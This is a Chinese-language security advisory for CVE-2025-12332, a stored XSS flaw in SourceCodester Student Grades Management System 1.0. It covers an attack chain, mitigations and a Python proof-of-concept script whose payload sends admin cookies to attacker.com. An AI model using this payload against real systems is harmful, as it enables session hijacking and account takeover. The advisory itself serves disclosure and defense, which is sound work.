IPBUF安全漏洞报告
English
CVE-2025-12332 CVSS 2.4 低危

CVE-2025-12332 SourceCodester学生成绩管理系统存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-12332
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Student Grades Management System 1.0

相关标签

CVE-2025-12332XSS存储型XSSCross-Site ScriptingSourceCodesterStudent Grades Management SystemWeb应用漏洞身份验证绕过会话劫持admin.php

漏洞概述

CVE-2025-12332是SourceCodester学生成绩管理系统1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于管理后台的/admin.php文件中的delete_user函数。由于系统对用户输入缺乏充分的输入验证和输出编码,攻击者可以在用户管理功能中注入恶意JavaScript代码。当其他管理员访问用户列表或执行删除操作时,恶意脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或管理员账户被恶意控制。该漏洞的CVSS评分为2.4,属于低危级别,但仍需引起重视,因为攻击者只需拥有高权限的管理员账户即可利用此漏洞,且攻击可远程进行。虽然CVSS评分较低,但存储型XSS漏洞的持久性和危害性不容忽视,攻击者注入的恶意代码会永久存储在服务器端,影响所有访问相关页面的用户。系统管理员应及时采取修复措施,避免攻击者利用该漏洞对系统安全造成更大威胁。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,存在于SourceCodester学生成绩管理系统的/admin.php文件delete_user函数中。漏洞产生的根本原因是系统对用户输入数据(如用户名、用户描述等)未进行充分的输入验证和输出编码。在用户管理功能中,当管理员添加或编辑用户信息时,如果输入包含恶意JavaScript代码(如<script>alert(document.cookie)</script>),这些数据会被直接存储到数据库中而未经过滤。随后,当其他管理员访问用户列表页面或执行删除操作时,这些恶意代码会随页面内容一同返回到用户浏览器中并被执行。攻击者利用此漏洞可以窃取管理员的会话Cookie,从而劫持管理员会话,获取系统管理权限。由于该漏洞需要高权限账户(PR:H)才能利用,且需要用户交互(UI:R),但攻击者一旦成功注入恶意代码,所有访问相关页面的用户都会受到影响。攻击者可以通过JavaScript代码执行任意客户端操作,包括但不限于:窃取敏感信息、篡改页面内容、植入后门程序或进行进一步的内网渗透攻击。建议开发者在所有用户输入点实施严格的输入验证,并对所有输出到HTML的内容进行适当的编码或转义处理。

攻击链分析

STEP 1
步骤1
攻击者获取管理员账户访问权限,或通过社会工程学手段诱导管理员泄露凭证
STEP 2
步骤2
攻击者登录学生成绩管理系统管理后台,访问/admin.php用户管理页面
STEP 3
步骤3
在用户添加或编辑功能中,攻击者在用户名、姓名等字段注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
系统将包含恶意代码的用户数据未经充分过滤直接存储到数据库中
STEP 5
步骤5
当其他管理员访问用户列表页面或执行delete_user操作时,恶意脚本随页面内容一同返回
STEP 6
步骤6
受害者浏览器执行恶意JavaScript代码,攻击者成功窃取会话Cookie或执行其他恶意操作
STEP 7
步骤7
攻击者利用窃取的会话Cookie劫持管理员会话,进一步控制整个系统或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12332 PoC - SourceCodester Student Grades Management System XSS # Author: Security Researcher # Target: /admin.php delete_user function # Type: Stored XSS import requests import argparse def exploit_xss(target_url, admin_cookie): """ Exploit CVE-2025-12332: Stored XSS in delete_user function This PoC demonstrates how to inject malicious JavaScript code through the user management functionality. """ # Malicious payload - steals admin cookies xss_payload = '''<script> // Cookie stealing script document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>'); // Or perform session hijacking fetch('http://attacker.com/log?data=' + encodeURIComponent(document.cookie)); </script>''' # Target endpoint for user creation/editing target_endpoint = f"{target_url}/admin.php" # Request headers headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Payload for creating/editing user with XSS data = { 'action': 'save_user', # or 'add_user' depending on implementation 'username': f'testuser{xss_payload}', 'fullname': f'Test User<script>alert("XSS")</script>', 'email': '[email protected]', 'password': 'password123' } try: # Send the malicious request response = requests.post(target_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully!") print("[*] Payload will execute when admin views user list or deletes user") print(f"[*] Target: {target_endpoint}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12332 PoC') parser.add_argument('--url', required=True, help='Target URL') parser.add_argument('--cookie', required=True, help='Admin session cookie') args = parser.parse_args() exploit_xss(args.url, args.cookie)

影响范围

SourceCodester Student Grades Management System 1.0

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1)限制管理后台访问,仅允许受信任的IP地址访问;2)启用双因素认证增强管理员账户安全;3)在Web应用防火墙(WAF)中配置XSS防护规则,拦截包含<script>标签的请求;4)定期检查用户表和日志文件,及时发现和清除恶意代码;5)对管理员进行安全意识培训,警惕社会工程学攻击;6)考虑暂时禁用用户管理功能中的添加/编辑功能,直到漏洞修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表